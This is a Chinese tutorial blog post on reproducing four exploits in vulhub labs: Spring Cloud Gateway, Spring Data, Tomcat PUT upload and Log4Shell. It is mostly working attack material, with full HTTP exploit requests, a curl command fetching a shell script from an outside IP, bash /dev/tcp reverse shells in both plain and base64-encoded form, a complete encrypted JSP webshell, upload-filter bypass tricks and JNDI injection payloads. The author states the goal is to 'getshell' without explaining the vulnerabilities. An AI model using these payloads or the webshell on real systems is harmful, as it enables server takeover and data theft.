【web安全】CVE漏洞复现

Spring 漏洞

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞

天命:照旧,不研究漏洞点, 只管getshell

三个POC即可命令执行

Bug1:请求头:Content-Length 这行不用写,发送的时候burp会自己加上去

Bug2:请求体可能要换两行,或删除多余空格才能正常发送,反正自己多试试不同的形式,POC是没错的,只是格式有点奇怪 

【第一个POC】里面的whoami命令就是命令执行,自行换命令即可

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json



{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

第二个POC,打过去完事,没有东西回显的

POST /actuator/gateway/refresh HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

第三个POC,有回显的,就是第一个POC的命令的执行回显

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 114.132.96.157:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

那个root就是回显,你用ls命令显示得更明显

【CVE-2018-1273】springboot漏洞 - RCE

SpringBoot版本是:SpringBoot 1.2.0.RELEASE

也可能是:SpringBoot版本为2.0.0.RELEASE

特点:无回显触发RCE

先扫路径:/users

存在路径后,随便输入点东西,然后抓包

POST /users?page=&size=5 HTTP/1.1
Host: 43.136.101.245:40003
Content-Length: 160
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://43.136.101.245:40003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://43.136.101.245:40003/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=

POC:篡改post传参的输入命令即可触发RCE

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=

此漏洞不能直接反弹shell,需要先下载反弹shell文件,然后执行shell文件

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://43.136.101.245:81/shell.sh")]=&password=&repeatedPassword=
// POC 里面执行的命令
curl -o /tmp/bash.sh http://43.136.101.245:81/shell.sh
// shell.sh 文件里面的反弹shell命令
bash -c "bash -i >& /dev/tcp/43.136.101.245/7777 0>&1"

当然了使用curl下载前,你需要先搭建一个web服务器,然后上传好shell文件

服务器回显500的状态码,表示成功

云服务器开启端口监听,然后执行一下文件即可

Tomcat 漏洞

【CVE-2017-12615】Tomcat漏洞 - upload

通过云服务器+docker+vulhub搭建的靶场,打开后是默认页面

访问根目录,抓取重放模块

抓包,把GET改成PUT请求,在冰鞋那里生成木马,并粘贴进去

代码如下,记得删除里面自带的中文注释

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
     byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                }
    String key="e45e329feb5d925b";
	for (int i = 0; i < decodebs.length; i++) {
		decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
	}
	return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
            out.clear();
            out=pageContext.pushBody();
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

放入数据包中,并发送201是成功

这里文件名是禁止 jsp 上传的所以需要绕过,

有三种方法: 文件名后斜杠 或 %20或 ::$DATA

我这里用了斜杠

使用冰蝎连接,记得选择加密方式,我就是没选择加密方式卡了一晚上

getshell成功

 

log4j 漏洞

【CVE-2021-44228】Log4j2 核弹级漏洞

天命:阿里安全团队发现的核弹级漏洞

天命:原理就不讲了,我也是一知半懂

在vulhub进入log4j目录,拉去镜像,用docker-compose启动

步骤一:先探测是否有漏洞

先去dnslog拿一个域名,现在网站更新为:https://dnslog.org/

在这个目录下可以传一个参数,把JNDI注入放进去,放自己拿到的域名上去

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.b6c00a42.dnslog.store} HTTP/1.1
Host: 43.136.101.245:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

回显是不会出现任何东西的

记录在dnslog那里,查看一下记录就会发现,有漏洞,并且返回了java的版本信息

步骤二:Getshell

先下载工具:https://link.csdn.net/?target=https%3A%2F%2Fwww.lanzouy.com%2FiLyJTxlpxli

把工具先上传到云服务器(这次我们用真机云服务器进行反弹shell,虽然靶场跟攻击机都是同一个服务器,不过也不影响)

然后再构造payload:bash -i >& /dev/tcp/43.136.101.245/7777 0>&1

转一下编码,加上点东西,最后变成这样

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzYuMTAxLjI0NS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

可以使用在线直接生成的网站:https://ares-x.com/tools/runtime-exec

效果还是很屌的。

然后来到服务器,先用一下命令开启工具(注意:JDK必须1.8版本)

【样例讲解】
java -jar JNDI-Injection-Exploit-1.0--SHOT-all.jar -C "刚刚生成的payload" -A "攻击机的IP地址"

【实例】
java -jar JNDI-Injection-Exploit-1.0--SHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMzYuMTAxLjI0NS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "43.136.101.245"

选一个exp放入请求,直接请求即可

发送数据包前先打开攻击机的端口监听,因为工具会反弹shell过来

我这里payload是监听7777端口:nc -lvnp 7777

然后发送数据包攻击,就会反弹shell到攻击机的端口

攻击数据包如下,响应400也不用管,是正常的

GET /solr/admin/cores?action=${jndi:rmi://43.136.101.245:1099/8hwvbv} HTTP/1.1
Host: 43.136.101.245:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

然后攻击机接收到反弹shell成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星盾网安

能花钱买到的知识,都不贵

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值